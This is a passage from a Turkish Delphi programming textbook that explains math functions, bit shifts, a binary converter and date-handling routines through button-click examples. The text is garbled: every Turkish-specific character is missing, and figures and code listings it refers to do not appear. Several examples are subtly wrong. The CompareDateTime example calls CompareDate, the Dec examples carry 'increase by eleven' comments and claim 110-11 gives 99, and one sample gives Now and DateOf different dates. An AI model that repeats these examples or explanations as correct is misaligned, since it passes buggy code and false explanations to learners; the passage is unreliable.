Tanmlama: function Sign(const AValue: Double): TValueSign; overload; function Sign(const AValue: Integer): TValueSign; overload; function Sign(const AValue: Int64): TValueSign; overload;

Parametreyle girilen deerin pozitif, sfr veya negatif olduunu gsterebilen bir fonksiyondur. Eer say sfrdan kkse -1, bykse +1 sfra eitse 0 deerini dndrecektir. Sign fonksiyonundan geriye dnen deer 0, 1, -1 rakamlarndan bir tanesi olacaktr. Saynn ok byk veya kk olmas bu durumu deitirmemektedir. Aada bu husus rneklendirilmitir.

273

procedure TForm1.Button23Click(Sender: TObject); var ilk:Double; sonuc:Integer; begin ilk:=StrToFloat(Edit1.Text); sonuc:=Sign(ilk); if sonuc=1 then ShowMessage('Say Pozitif') else if sonuc=-1 then ShowMessage('Say Negatif') else if sonuc=0 then //sadece else de yeterliydi ShowMessage('Say Sfr'); end; Yazlan kodlamada aklanacak bir ey olmad (her ey ak zaten) iin aklama satrlarna gerek grlmemitir. SimpleRoundTo(ondalkl_say,tam_say):
Tanmlama: function SimpleRoundTo(const AValue: Double; const ADigit: TSimpleRoundToRange = -2): Double;

alma mant daha nce izah edilen RoundTo fonksiyonuna ok benzemektedir. Aralarndaki tek fark SimpleRoundTo fonksiyonunda yuvarlatma ilemi uygulanmayacadr. Aadaki sonular yapacanz rnekle kyaslaynz.
Uygulama: SimpleRoundTo(1254.6543,1) 2000 SimpleRoundTo(1254.6543,-2) 1254.65 SimpleRoundTo(1254.6543,-3) 1254.653 Sonu

Sqr(ondalkl_say):
Tanmlama: function Sqr(X: Extended): Extended;

Parametreyle girilen saynn karesini hesaplayabilen bir Delphi fonksiyonudur. Tam saylar iin kullanlabilecei gibi ondalkl saylar iinde sonucu hesaplayabilmektedir. Aada bu husus rneklendirilmitir. 274

procedure TForm1.Button25Click(Sender: TObject); var sayi,sonuc:Double; begin sayi:=100.2; sonuc:=Sqr(sayi); //karesini hesapla Form1.Caption:=FloatToStr(sonuc); //10040.04 yazar end; ayet kullanlan parametrenin tipi tam say ise bu durumda sonucu daha hzl hesaplayacaktr. Sqrt(ondalkl_say):
Tanmlama: function Sqrt(X: Extended): Extended;

Parametreyle girilen ondalkl saynn karakkn hesaplayan bir fonksiyondur. Parametrenin tamsay veya ondalkl say olmas nem arz etmemektedir. procedure TForm1.Button26Click(Sender: TObject); var sayi,sonuc:Double; begin sayi:=100; sonuc:=Sqrt(sayi); //karekkn hesapla Form1.Caption:=FloatToStr(sonuc); //10 yazar end; Bu fonksiyondan geriye ondalkl bir say dnecei iin sonucu yazdrmak iin FloatToStr fonksiyonunu kullanmalsnz. Inc(tam_say,tam_say2):
Tanmlama: procedure Inc(var X [ ; N: Longint ] );

Bu bir fonksiyon deil (prosedr), ama burada vermeyi uygun grdm. Method birinci parametreyle girilen deikenin (tam say olmak zorundadr) deerini ikinci parametre kadar (ikinci deikende tam say olmak zorundadr) artracaktr. kinci parametrenin opsiyonel olduunu belirtmek isterim, ayet verilmezse artm deeri bir 1 olarak alnacaktr. Aada bu husus rneklendirilmitir.

275

procedure TForm1.Button27Click(Sender: TObject); var deger:Integer; begin deger:=99; inc(deger); //deikenin deerini bir artr Form1.Caption:=IntToStr(deger); //100 yazar end; Baka bir rneklendirme yapalm. procedure TForm1.Button27Click(Sender: TObject); var deger:Integer; begin deger:=99; inc(deger,11); //deikenin deerini onbir artr Form1.Caption:=IntToStr(deger); //110 yazar end; Inc methodunda ondalkl say kullanamazsnz. Eer kullanmaya kalkarsanz Delphi sizi hata mesajyla uyaracaktr. Dec(tam_say,tamsay2):
Tanmlama: procedure Dec(var X[ ; N: Longint]);

Method birinci parametreyle girilen deikenin (tam say olmak zorundadr) deerini ikinci parametre kadar (ikinci deikende tam say olmak zorundadr) azaltacaktr. kinci parametrenin opsiyonel olduunu belirtmek isterim, ayet verilmezse azalma deeri bir 1 olarak alnacaktr. Aada bu husus rneklendirilmitir. procedure TForm1.Button28Click(Sender: TObject); var deger:Integer; begin deger:=100; Dec(deger,1); //deikenin deerini onbir artr Form1.Caption:=IntToStr(deger); //99 yazar end;

276

Baka bir rnek: procedure TForm1.Button28Click(Sender: TObject); var deger:Integer; begin deger:=110; Dec(deger,11); //deikenin deerini onbir artr Form1.Caption:=IntToStr(deger); //99 yazar end; Dec prosedr de sadece tamsay deerler iin kullanldndan ondalkl saylar iin denerseniz programnz krlacaktr. Div: Bu da bir fonksiyon olmamakla beraber bu ksmda bulunmasnda fayda grmekteyim. Matematiksel blme ileminde tam blm deerini veren komuttur. procedure TForm1.Button29Click(Sender: TObject); var deger:Integer; sonuc:Integer; begin deger:=19; sonuc:=deger div 4; //4 ka kere var Form1.Caption:=IntToStr(sonuc);// tam olarak 4 kere var end; Mod: Dah nce izah edilmiti, fakat bu blmde bulunmasnda fayda gryorum. Aada rneklendirme ilemi yaplmtr. procedure TForm1.Button30Click(Sender: TObject); var deger:Integer; sonuc:Integer; begin deger:=19; sonuc:=deger mod 4; //kalan ne Form1.Caption:=IntToStr(sonuc);// 3 yazar end; 277

Shl: Deiken deerlerinin iki says veya kuvvetleriyle kolayca ilem yaplabilmesini salayan komuttur (C++ bilenler iin >> ve <<). Yapt ileme gelince; solunda belirtilen sayyla, sanda belirtilen sayy ikinin kuvveti olarak kabul ederek arpar. Aadaki rneklendirmeyi dikkatlice inceleyiniz. procedure TForm1.Button31Click(Sender: TObject); var deger:Integer; sonuc:Extended; begin deger:=10; sonuc:=deger shl 3; // 2^3*10=80 Form1.Caption:=FloatToStr(sonuc); // 80 yazar end; Shl komutunun yapt ilem udur. a:=10 shl 3 satr a:=10*23 ile ayn ii yapacaktr. Yani sadaki sayy 2 nin ss olarak alacak solundaki sayyla arpacaktr (c++ da 3 bit sola tele). Baka bir rnek verelim. procedure TForm1.Button31Click(Sender: TObject); var deger:Integer; sonuc:Extended; begin deger:=20; sonuc:=deger shl 5; // 2^5*20=640 Form1.Caption:=FloatToStr(sonuc); // 640 yazar end; Shr: Deiken deerlerinin iki says veya kuvvetleriyle kolayca ilem yaplabilmesini salayan dier bir komuttur (C++ bilenler iin >> ve <<). Yapt ileme gelince; solunda belirtilen sayyla, sanda belirtilen sayy ikinin kuvveti olarak kabul ederek bler. Belirtilen s deeri kadar bit saa teleme yapar da denilebilir. Aadaki rneklendirmeyi dikkatlice inceleyiniz.

278

procedure TForm1.Button32Click(Sender: TObject); var deger:Integer; sonuc:Extended; begin deger:=20; sonuc:=deger shr 2; // 20/2^2=5 Form1.Caption:=FloatToStr(sonuc); // 5 yazar end; sonuc:=deger shr 2 satr sonuc:=deger/(2^2) ile ayn sonucu verecektir. Yani sandaki sayy ikinin kuvveti olarak kabul edecek, solundaki sayya blecektir. imdi ikilik Windows hesap makinesinde yer alan onluk dzenden ikilik dzene dntrme, ikilik dzenden onluk dzene dntrme kodlarn beraberce oluturalm. ncelikle aadaki tasarm oluturunuz.

Program oluturabilmeniz iin formunuza bir adet Edit kontrol, iki adet RadioButton kontrol ve bir adet GroupBox yerletirin. Amacmz program altrdktan sonra semi olduumuz satr dzenine gre, yeni deerin Edit kutusunda yer almasn salamak olacaktr. Kodlar RadioButton kontrollerinin OnClick yordamlarna yazacaz. Form ald anda Dec isimli RadioButton kontrolnn iaretli gelmesi iinde FormCreate yordamna ufak bir kod satr ekleyeceiz. Kod satrlar ierisinde math ktphanesinde yer alan fonksiyonlardan (Length) kullanacamz iin uses satrna math eklemeyi unutmaynz.

279

Tm kodlar aada verilmitir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,math; //eklemeyi unutmayn

imdi program altrp Edit kutusuna saysal bir deer girin. Ardndan Bin seeneini seerek kodlarnzn sonularn grebilirsiniz.

280

imdi Bin seeneine tklarsanz Edit kontrolndeki deeriniz aadaki ekilde oluacaktr.

Hakikaten sonular Windows hesap makinesinde kontrol ettirirseniz, ayn olduklarn greceksiniz. imdi ayn rnei daha deiik bir yoldan zmek istiyorum. Form tasarmnz deitirmeden, Unit pencerenizdeki kod satrlarn aadaki hale eviriniz. Tekrar hatrlatalm Length fonksiyonu math ierisinde tanml olduu iin aadaki gibi uses satrna eklenmesi gerekmektedir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, math; //eklemeyi unutmayn

281

Tm kodlar aadaki pencerede verilmitir. Yazl olan tm satrlarn anlamaya alnz.

Program altrp Edit kutusunun ierisine saysal bir deer giriniz. Daha sonrada Bin seeneine tklayn sonucun ikilik dzende ayn Edit kutusu ierisinde gzkeceini greceksiniz. Tekrar Dec seeneini seerseniz, ilk bata yazm olduunuz orjinal sayya ulaacaksnz.

282

Tarih erikli Fonksiyonlar: Delphide tarih ve zaman ilemlerinizi kolaylkla yapabilmeniz iin bir ok fonksiyon tanmlanmtr. Aada bu fonksiyonlara ait rnekler detaylca incelemeye alnmtr. CompareDate(tarih1,tarih2):
Tanmlama: function CompareDate(const A, B: TDateTime): TValueRelationship;

Parametre olarak girilen iki tarihin eit olup olmadn kontrol edebilen bir fonksiyondur. Girilen tarihlerin eit olmas bu fonksiyondan geriye 0 deerinin dnmesine sebep olacaktr. procedure TForm1.Button1Click(Sender: TObject); var tarih1,tarih2:TDate; //tarih ierikli deiken tanmlanyor begin tarih1:=StrToDate(Edit1.Text); //tarihsel deikene aktarlyor tarih2:=StrToDate(Edit2.Text); if CompareDate(tarih1,tarih2)=0 then //iki tarih eitse 0 dner ShowMessage('Girilen iki Tarih Eit') else ShowMessage('Tarihler Eit Deil'); end; CompareDateTime(tarihsaat1,tarihsaat2):
Tanmlama: function CompareDateTime(const A, B: TDateTime): TValueRelationship;

Parametre olarak girilen iki deikenin deerinin tarih ve zamanla beraber eit olup olmadn kontrol etmek iin kullanlan bir fonksiyondur. Eitlik durumunda yine geriye 0 deeri dnecektir. procedure TForm1.Button2Click(Sender: TObject); var tarih1,tarih2:TDateTime; begin tarih1:=StrToDateTime(Edit1.Text); tarih2:=StrToDateTime(Edit2.Text); if CompareDate(tarih1,tarih2)=0 then ShowMessage('Girilen iki Tarih ve Saat Eit') else ShowMessage('Tarihler Eit Deil'); end; 283

CompareTime(zama1,zaman2):
Tanmlama: function CompareTime(const A, B: TDateTime): TValueRelationship;

Parametre olarak girilen iki deikenin ayn zamana ait olup olmadklarn hesaplayabilen bir fonksiyondur. Eitlik durumunda yine 0 deeri dndrecektir. procedure TForm1.Button3Click(Sender: TObject); var zaman1,zaman2:TTime; begin zaman1:=StrToTime(Edit1.Text); zaman2:=StrToTime(Edit2.Text); if CompareTime(zaman1,zaman2)=0 then ShowMessage('Girilen iki Zaman Eit') else ShowMessage('Zamanlar Eit Deil'); end; CurrentYear:
Tanmlama: function CurrentYear: Word;

Parametre kullanmayan bu fonksiyonla aktif tarihin yln kolayca renebilirsiniz. Fonksiyondan geriye dnen deer tam say tipli olaca iin IntToStr tip dnm fonksiyonunu kullanarak yazdrabilirsiniz. procedure TForm1.Button4Click(Sender: TObject); begin Form1.Caption:=IntToStr(CurrentYear); //2003 yazar end; Date:
Tanmlama: function Date: TDateTime;

Parametre iermeyen bu fonksiyonla aktif tarihi yazdrabilirsiniz. Dndrd deer tarih ierikli olaca iin yazdrmak iin DateToStr tip dnm kullanmanz gerektirecektir.

284

procedure TForm1.Button5Click(Sender: TObject); begin Form1.Caption:=DateToStr(Date);//10.07.2003 end; Aktif tarihe gn ekleme ilemlerini yine bu fonksiyonla yapmanz mmkn olabilmektedir. Aada bu husus rneklendirilmitir. rnein yapl tarihinin 10/07/2003 olduunu da belirtelim. procedure TForm1.Button5Click(Sender: TObject); var tarih:TDate; begin tarih:=Date+10; //aktif tarihe 10 gn ekle Form1.Caption:=DateToStr(tarih);//20.07.2003 end; Ayn ekilde nceki kullanabilirsiniz. gnlere dnmek iinde aadaki kodlamay

procedure TForm1.Button5Click(Sender: TObject); var tarih:TDate; begin tarih:=Date-10; //aktif tarihten 10 gn kar Form1.Caption:=DateToStr(tarih);//30.06.2003 end; DateOf(tarihzaman):
Tanmlama: function DateOf(const AValue: TDateTime): TDateTime;

Parametre olarak girilen tarih zaman deikeninin, zaman ksmn atarak sadece tarih deerinin elde edilmesini salar. procedure TForm1.Button7Click(Sender: TObject); var tarihzaman:TDateTime; begin tarihzaman:=Now; //tarh ve zaman beraber tutan deiken Edit2.Text:=DateTimeToStr(DateOf(tarihzaman));//11/07/2003 yazar end;

285

Fonksiyonun daha iyi anlalmas asndan aadaki rnei inceleyip aradaki farka dikkat ediniz. procedure TForm1.Button7Click(Sender: TObject); var tarihzaman:TDateTime; begin tarihzaman:=Now; //tarih ve zaman beraber tutan deiken Edit1.Text:=DateTimeToStr(tarihzaman);//10/07/2003 11:07:19 yazar Edit2.Text:=DateTimeToStr(DateOf(tarihzaman));//11/07/2003 yazar end; DateTimeToStr(tarihzaman):
Tanmlama: function DateTimeToStr(DateTime: TDateTime): string; overload; function DateTimeToStr(DateTime: TDateTime; const FormatSettings: TFormatSettings): string; overload;

Parametre olarak girilen tarih-zaman ierikli deikenin deerini stringe evirmek iin kullanlr. Bilhassa kontroller zerinde tarih ieriklerinin yazdrlmasnda kullanlr. procedure TForm1.Button8Click(Sender: TObject); var tarih:TDateTime; sonuc:AnsiString; begin tarih:=Now; sonuc:=DateTimeToStr(tarih); aktif tarih ve saati yaz ShowMessage(sonuc); end; DateToStr(tarih):
Tanmlama: function DateToStr(Date: TDateTime): string; overload; function DateToStr(const DateTime: TDateTime; const FormatSettings: TFormatSettings): string; overload;

Parametreyle girilen tarih deikenini string tipe dntrmek iin kullanlan bir fonksiyondur. Eer DateTime tipli bir deiken deeri aktarlrsa hata vermemekle beraber, sadece tarih ksmyla ilgili tip dnmn gerekletirecektir.

286

procedure TForm1.Button9Click(Sender: TObject); var tarih:TDateTime; sonuc:AnsiString; begin tarih:=Now; sonuc:=DateToStr(tarih); ShowMessage(sonuc); // 10/07/2003 yazar end; DayOfWeek(tarih):
const DayMonday = 1; DayTuesday = 2; DayWednesday = 3; DayThursday = 4; DayFriday = 5; DaySaturday = 6; DaySunday = 7;

Tanmlama:

Parametreyle girilen tarih deiken deerinin haftann hangi gnne ait olduunu hesaplayabilen bir fonksiyondur. Geriye dndrd deer 1 ile 7 arasndaki saysal ifadedir. 1 olmas pazar 7 olmas Cumartesi gnne karlk gelmektedir.Basit bir dallandrma yaparak sonuca ulaabilirsiniz. procedure TForm1.Button10Click(Sender: TObject); var tarih:TDate;deger:Integer; begin tarih:=Date;//Bgnk tarih deger:=DayOfWeek(tarih);//aktar if deger=1 then //dallandr Form1.Caption:='Bugn Pazar' else if deger=2 then Form1.Caption:='Bugn Pazartesi' else if deger=3 then Form1.Caption:='Bugn Sal' else if deger=4 then Form1.Caption:='Bugn aramba' else if deger=5 then Form1.Caption:='Bugn Perembe' else if deger=6 then Form1.Caption:='Bugn Cuma' else if deger=7 then Form1.Caption:='Bugn Cumartesi';end; 287

DayOf(tarih_zaman):
Tanmlama: function DayOf(const AValue: TDateTime): Word;

Parametre ile girilen tarih_zaman deikeninde ayn kanc gn olduunu hesaplayan bir fonksiyondur. Tam say tipinde bir deer dndrd iin, yazdrmak isterseniz IntToStr fonksiyonunu kullanmalsnz. procedure TForm1.Button11Click(Sender: TObject); var tarih:TDateTime; deger:Integer; begin tarih:=Date; //Bugnk tarih 10/07/2003 tr deger:=DayOf(tarih); //kanc gn Form1.Caption:=IntToStr(deger); // 10 yazar end; DayOfTheMonth(tarih_zaman):
Tanmlama: function DayOfTheMonth(const AValue: TDateTime): Word;

Parametre ile girilen tarih_zaman deikeninde, ayn kanc gn olduu hesaplayan bir fonksiyondur. procedure TForm1.Button12Click(Sender: TObject); var tarih:TDateTime; deger:Integer; begin tarih:=Date; //Bugnk tarih 10/07/2003 tr deger:=DayOfTheMonth(tarih); Form1.Caption:=IntToStr(deger); // 10 yazar end; Fonksiyondan geriye dnen deer tam say tipli bir deikene aktarlabilir. Dolaysyla form zerindeki herhangi bir kontrolde yazdrlabilmesi iin IntToStr fonksiyonu ile tip dntrme ilemi uygulamanz gerekmektedir. Yukardaki rnei dikkatlice inceleyiniz.

288

DayOfTheWeek(tarih_zaman):
Tanmlama: function DayOfTheWeek(const AValue: TDateTime): Word;

Parametre ile girilen tarih_zaman deikenine ait deerin haftann kanc gnne karlk geldiini hesaplayan bir fonksiyondur. procedure TForm1.Button13Click(Sender: TObject); var tarih:TDateTime; deger:Integer; begin tarih:=Date; //Bugnk tarih 10/07/2003 tr deger:=DayOfTheWeek(tarih); //Haftann kanc gn Form1.Caption:=IntToStr(deger); // 4 yazar nk 4. gn end; DayOfTheYear(tarih_zaman):
Tanmlama: function DayOfTheYear(const AValue: TDateTime): Word;

Parametre ile girilen tarih_zaman deiken deerinin yln kanc gn olduunu hesaplayan bir fonksiyondur. procedure TForm1.Button14Click(Sender: TObject); var tarih:TDateTime; deger:Integer; begin tarih:=Date; //Bugnk tarih 10/07/2003 tr deger:=DayOfTheYear(tarih); //Yln kanc gn Form1.Caption:=IntToStr(deger); // 191 yazar. nk 191. gndeyiz end; DaysBetween(tarih1,tarih2):
Tanmlama: function DaysBetween(const ANow, AThen: TDateTime): Integer;

Parametre ile girilen iki tarih deikeni arasndaki gn farkn hesaplayan fonksiyondur. Fonksiyonun geriye dndrd deer bir tam say olduu iin yazdrmak iin IntToStr fonksiyonundan faydalanmalsnz. Aada bu fonksiyon rneklendirilmitir. 289

procedure TForm1.Button15Click(Sender: TObject); var tarih1,tarih2:TDateTime; sayi:Integer; begin tarih1:=StrToDateTime(Edit1.Text); //ilk tarih deer tarih2:=StrToDateTime(Edit2.Text); //ikinci tarih deeri sayi:=DaysBetween(tarih1,tarih2);//aralarnda ka gn var Form1.Caption:=IntToStr(sayi); end; Bu fonksiyonda deikenlerin yerleri nem arz etmektedir. Hangisinin byk olduu da nemli deildir, sonuta pozitif deeri dndrmektedir. DaysInMonth(tarih_zaman):
Tanmlama: function DaysInMonth(const AValue: TDateTime): Word;

Parametreyle girilen tarih_zaman deiken deerinin ait olduu ayn ka gn ektiini hesaplayabilen bir fonksiyondur. procedure TForm1.Button16Click(Sender: TObject); var tarih:TdateTime; sayi:Integer; begin tarih:=Date; //aktif tarih 10/07/2003 sayi:=DaysInMonth(tarih); //Bu ay ka gn ekiyor Form1.Caption:=IntToStr(sayi); // 31 yazar. nk temmuz 31 gn eker end; Fonksiyondan geriye dnen deer, tam say tipli bir deikene aktarlabilir. ayet bu deeri yazdrmak isterseniz IntToStr fonksiyonunu kullanmalsnz. DaysInAMonth(tam_sayi,tamsayi2):
Tanmlama: function DaysInAMonth(const AYear, AMonth: Word): Word;

Birinci parametreyle girilen yla ait, ikinci parametreyle girilen ayn ka gn ektiini hesaplayabilen bir fonksiyondur. ubat ay ilemleri iin nem arz eden bir fonksiyondur. Fonksiyondan geriye dnen deer bir tam say olduu iin IntToStr fonksiyonu kullanlarak yazdrlabilir. 290

procedure TForm1.Button17Click(Sender: TObject); var sayi:Integer; begin sayi:=DaysInAMonth(2000,3); //2000 ylnn nc ay ka gun Form1.Caption:=IntToStr(sayi); //31 yazar end; DaysInAYear(tam_sayi):
Tanmlama: function DaysInAYear(const AYear: Word): Word;

Parametreyle belirtilen yln ka gn ektiini hesaplayabilen bir fonksiyondur. Tam say tipli bir deer dndrd iin IntToStr fonksiyonu ile kolayca yazdrlabilir. procedure TForm1.Button18Click(Sender: TObject); var yil:Integer; sayi:Integer; begin yil:=2003; sayi:=DaysInAYear(yil);//2003 yl ka gndr Form1.Caption:=IntToStr(sayi);//365 yazar end; DaysInYear(tarih_zaman):
Tanmlama: function DaysInYear(const AValue: TDateTime): Word;

Parametre ile belirtilen tarih ierikli deiken deerinin ait olduu yln ka gn ektiini hesaplayan fonksiyondur. procedure TForm1.Button19Click(Sender: TObject); var tarih:TdateTime; sayi:Integer; begin tarih:=Date; sayi:=DaysInYear(tarih); //Yl ka gn Form1.Caption:=IntToStr(sayi); end; 291

DaySpan(tarih1,tarih2):
Tanmlama: function DaySpan(const ANow, AThen: TDateTime): Double;

Parametreyle girilen iki tarihsel deiken arasndaki gn farkn hesaplayan bir fonksiyondur. procedure TForm1.Button20Click(Sender: TObject); var tarih1,tarih2:TDateTime; sonuc:Double; begin tarih1:=StrToDate('01.04.2003'); tarih2:=StrToDate('02.03.2003'); sonuc:=DaySpan(tarih1,tarih2); //ka gn fark var Form1.Caption:=FloatToStr(sonuc); end; DecodeDate(tarih,yil,ay,gun):
Tanmlama: procedure DecodeDate(Date: TDateTime; var Year, Month, Day: Word);

lk parametreyle girilen tarihin yl, ay, gn deerlerini hesaplayarak ikinci, nc ve drdnc deikenlere aktarr.

procedure TForm1.Button21Click(Sender: TObject); var tarih:TDateTime; yil,ay,gun:Word; //word olmak zorunda begin tarih:=StrToDate('10.07.2003'); DecodeDate(tarih,yil,ay,gun);// tarihi paralara ayr ShowMessage('Yl='+IntToStr(yil)+#13#10+'Ay='+IntToStr(ay)+ #13#10+'Gn='+IntToStr(gun)); end; 292

DecodeDateDay(tarih,yil,gun):
Tanmlama: procedure DecodeDateDay(const AValue: TDateTime; out AYear, ADayOfYear: Word);

Birinci parametreyle belirtilen tarih deikeninin yln ikinci parametreye, yln kanc gn olduunu da nc parametreye aktaran bir prosedrdr. rnee dikkat ediniz.

procedure TForm1.Button22Click(Sender: TObject); var tarih:TDateTime; yil,ay:Word; //word olmak zorunda begin tarih:=StrToDate('10.07.2003'); DecodeDateDay(tarih,yil,ay); ShowMessage('Yl='+IntToStr(yil)+#13#10+'Gn='+IntToStr(ay)); end; DecodeDateMonthWeek(tarih,yil,ay,kanc_hafta,haftann_kanc_gn):
Tanmlama: procedure DecodeDateMonthWeek(const AValue: TDateTime; out AYear, AMonth, AWeekOfMonth, ADayOfWeek: Word);

Birinci parametreyle verilen tarih deikenine ait yl deerini ikinci parametreye, ay deerini nc parametreye, ayn kanc haftas olduunu drdnc parametreye ve haftann kanc gn olduunu beinci parametreye aktaran bir prosedr dr. Fonksiyon tanmlarna dikkat ederseniz bazlarnn function olarak deil de prosedr olarak tanmlandklarn greceksiniz. Biz hepsini fonksiyon bal altnda veriyoruz. Gerekte de yle olmas gerekir. nk bu prosedrlerin bir ou geriye birden fazla deer dndrdkleri iin (daha nce bu konular detayl olarak anlatlmtr) fonksiyon olarak deil de prosedr olarak tanmlanmalar gerekmektedir.

293

procedure TForm1.Button23Click(Sender: TObject); var tarih:TDateTime; yil,ay,hafta,deger:Word; begin tarih:=StrToDate('11.07.2003'); DecodeDateMonthWeek(tarih,yil,ay,hafta,deger); ShowMessage('Yl='+ IntToStr(yil)+#13#10+'Ay='+ IntToStr(ay)+#13#10+ 'Ayn Kanc Haftas='+IntToStr(hafta)+#13#10+ 'Haftann Kanc Gn='+ IntToStr(deger)); end; Yukardaki kod satrlarnn sonucu aadaki pencere alacaktr. Ltfen dikkatlice inceleyiniz.

DecodeTime(zaman,saat,dakika,saniye,salise):
Tanmlama: procedure DecodeTime(Time: TDateTime; var Hour, Min, Sec, MSec: Word);

Birinci parametreyle girilen zaman deikeninin, saat deerini ikinci parametreye, dakika deerini nc parametreye, saniye deerini drdnc parametreye ve salise deerini de beinci parametreye aktaran bir prosedrdr.

Yukardaki mesaj penceresinin olumasn salayan kodlar aada verilmitir. Dikkatlice inceleyiniz. 294

procedure TForm1.Button24Click(Sender: TObject); var zaman:TDateTime; saat,dak,san,sal:Word; begin zaman:=Now; DecodeTime(zaman,saat,dak,san,sal); ShowMessage('Saat='+IntToStr(saat)+#13#10+'Dakika='+IntToStr(dak)+ #13#10+'Saniye='+IntToStr(san)+#13#10+'Salise='+IntToStr(sal)); end; EncodeDate(yil,ay,gun):
Tanmlama: function EncodeDate(Year, Month, Day: Word): TDateTime;

parametreyle belirtilen tamsaylar birletirerek tarih deeri oluturabilen bir fonksiyondur. Fonksiyondan geriye dnen deer tarihsel ierikli olduu iin yazdrlmak istenirse DateTimeToStr tip dntrme fonksiyonundan faydalanmalsnz. procedure TForm1.Button25Click(Sender: TObject); var tarih:TDateTime; yil,ay,gun:Word; begin yil:=2003; ay:=7; gun:=10; tarih:=EncodeDate(yil,ay,gun); Form1.Caption:=DateTimeToStr(tarih); //10.07.2003 yazar end; EncodeDateDay(yil,deger):
Tanmlama: function EncodeDateDay(const AYear, ADayOfYear: Word): TDateTime;

Birinci parametre ile belirtilen (tam say) yla, ikinci parametreyle belirtilen kadar (tam say) gn ekler. Sonu tarihsel bir deer ierdii iin DateTimeToStr tip dntrme fonksiyonu kullanlarak yazdrlabilir. Aada bu husus rneklendirilmitir.

295

procedure TForm1.Button26Click(Sender: TObject); var tarih:TDateTime; yil,deger:Word; begin tarih:=EncodeDateDay(2003,35); //35 gn ekle Form1.Caption:=DateTimeToStr(tarih);//04.02.2003 end; EncodeDateMonthWeek(yl,ay,hafta,gun):
Tanmlama: function EncodeDateMonthWeek(const AYear, AMonth, AWeekOfMonth: Word; const ADayOfWeek: Word = 1): TDateTime;

Belirtilen parametreleri birletirerek yeni bir tarih deeri elde eder. Mesela 2003 ylnn 3.aynn 2.haftasnn 4.gn vs. Fonksiyondan geriye dnen deer tarihsel veri ierecei iin yazdrmak ancak DateTimeToStr tip dntrme fonksiyonu sayesinde olabilecektir. procedure TForm1.Button27Click(Sender: TObject); var tarih:TDateTime; yil,ay,deger:Integer; begin tarih:=EncodeDateMonthWeek(2003,4,2,2); Form1.Caption:=DateTimeToStr(tarih); //08.04.2003 yazar end; EncodeDateWeek(yl,hafta):
Tanmlama: function EncodeDateWeek(const AYear, AWeekOfYear: Word; const ADayOfWeek: Word = 1): TDateTime;

Parametreyle belirtilen yla, yine ikinci parametre kadar hafta ekler. Geriye dnen deer tarih ierikli olacaktr. Yazdrmak iin DateTimeToStr fonksiyonundan faydalanmalsnz. procedure TForm1.Button28Click(Sender: TObject); var tarih:TDateTime; begin tarih:=EncodeDateWeek(2003,3); //3. haftanin ilk gn Form1.Caption:=DateTimeToStr(tarih); //13/01/2003 yazar end; 296

EncodeDayOfWeekInMonth(yl,ay,hafta,gun):
Tanmlama: function EncodeDayOfWeekInMonth(const AYear, AMonth, ANthDayOfWeek, ADayOfWeek: Word): TDateTime;

Parametre ile belirtilen ay, hafta, gn deerlerini yla ekleyerek yeni bir tarih hesaplar. Fonksiyondan geriye dnen deer tarih ierikli olaca iin DateTimeToStr tip dntrme ilemi sayesinde yazdrlabilir. procedure TForm1.Button29Click(Sender: TObject); var tarih:TDateTime; begin tarih:=EncodeDayOfWeekInMonth(2003,2,2,3);//2.ayn 2.haftasnn 3.gn Form1.Caption:=DateTimeToStr(tarih);//12.02.2003 yazar end; EncodeTime(saat,dak,san,sal):
Tanmlama: function EncodeTime(Hour, Min, Sec, MSec: Word): TDateTime;

Parametre ile belirtilen deerleri birletirerek yeni bir zaman deeri tretir. Fonksiyondan geriye zaman ierikli bir deer dnecei iin TimeToStr tip dntrme fonksiyonu kullanlarak yazdrlabilir. procedure TForm1.Button30Click(Sender: TObject); var zaman:TDateTime; begin zaman:=EncodeTime(16,25,30,40); Form1.Caption:=TimeToStr(zaman); //16:25:30 yazar end; EndOfADay(yl,deger):
Tanmlama: function EndOfADay(const AYear, ADayOfYear: Word): TDateTime; overload; function EndOfADay(const AYear, AMonth, ADay: Word): TDateTime; overload;

Parametreyle belirlenen yl deikenine, yine ikinci parametreyle belirtilen deer kadar gn ekler. Fonksiyondan dnen deer tarihsel ierikli olduu iin DateToStr tip dntrme fonksiyonu kullanlarak yazdrlabilir. Geriye dnen

297

deeri DateTimeToStr tip dntrme fonksiyonuyla yazdrmaya kalkarsanz, zamanla beraber yazlacaklarn belirtmek isterim. procedure TForm1.Button31Click(Sender: TObject); var tarih:TDateTime; begin tarih:=EndOfADay(2003,9); //9 gn ekle Form1.Caption:=DateToStr(tarih); //09.01.2003 yazar end; EndOfAMonth(yl,ay):
Tanmlama: function EndOfAMonth(const AYear, AMonth: Word): TDateTime;

Birinci parametreyle belirtilen yl deikenine, ikinci parametreyle belirlenen deer kadar ay ekler yeni bir tarih deeri bulur. Fonksiyondan geriye dnen deer tarihsel ierikli olduu iin DateTimeToStr tip dntrme fonksiyonuyla yazdrlmaldr. procedure TForm1.Button32Click(Sender: TObject); var tarih:TDateTime; begin tarih:=EndOfAMonth(2003,7); // 7 ay ekle Form1.Caption:=DateToStr(tarih);//31/07/2003 yazar end; EndOfAWeek(yl,hafta):
Tanmlama: function EndOfAWeek(const AYear, AWeekOfYear: Word; const ADayOfWeek: Word = 7): TDateTime;

Birinci parametreyle belirtilen yla, ikinci parametreyle belirtilen haftann en son gnn hesaplayan fonksiyondur. Fonksiyondan geriye dnen deer tarihsel ierikte olduu iin yazdrmak iin DateToStr fonksiyonundan faydalanlmtr. procedure TForm1.Button33Click(Sender: TObject); var tarih:TDateTime; begin tarih:=EndOfAWeek(2003,3);//3. haftann en son gn Form1.Caption:=DateToStr(tarih); //19.01.2003 yazar end; 298

EndOfAYear(yl):
Tanmlama: function EndOfAYear(const AYear): TDateTime;

Parametreyle verilen yla ait en son gnn tarihini hesaplayan fonksiyondur. Fonksiyondan geriye dnen deer tarihsel ierikli olduu iin DateToStr tip dntrme fonksiyonu sayesinde yazdrlabilir. procedure TForm1.Button34Click(Sender: TObject); var tarih:TDateTime; begin tarih:=EndOfAYear(2003); //2003 ylnn en son gn Form1.Caption:=DateToStr(tarih);//31/12/2003 end; FormatDateTime (stil,tarih):
Tanmlama: function FormatDateTime(const Format: string; DateTime: TDateTime): string; overload; function FormatDateTime(const Format: string; DateTime: TDateTime; const FormatSettings: TFormatSettings): string; overload;

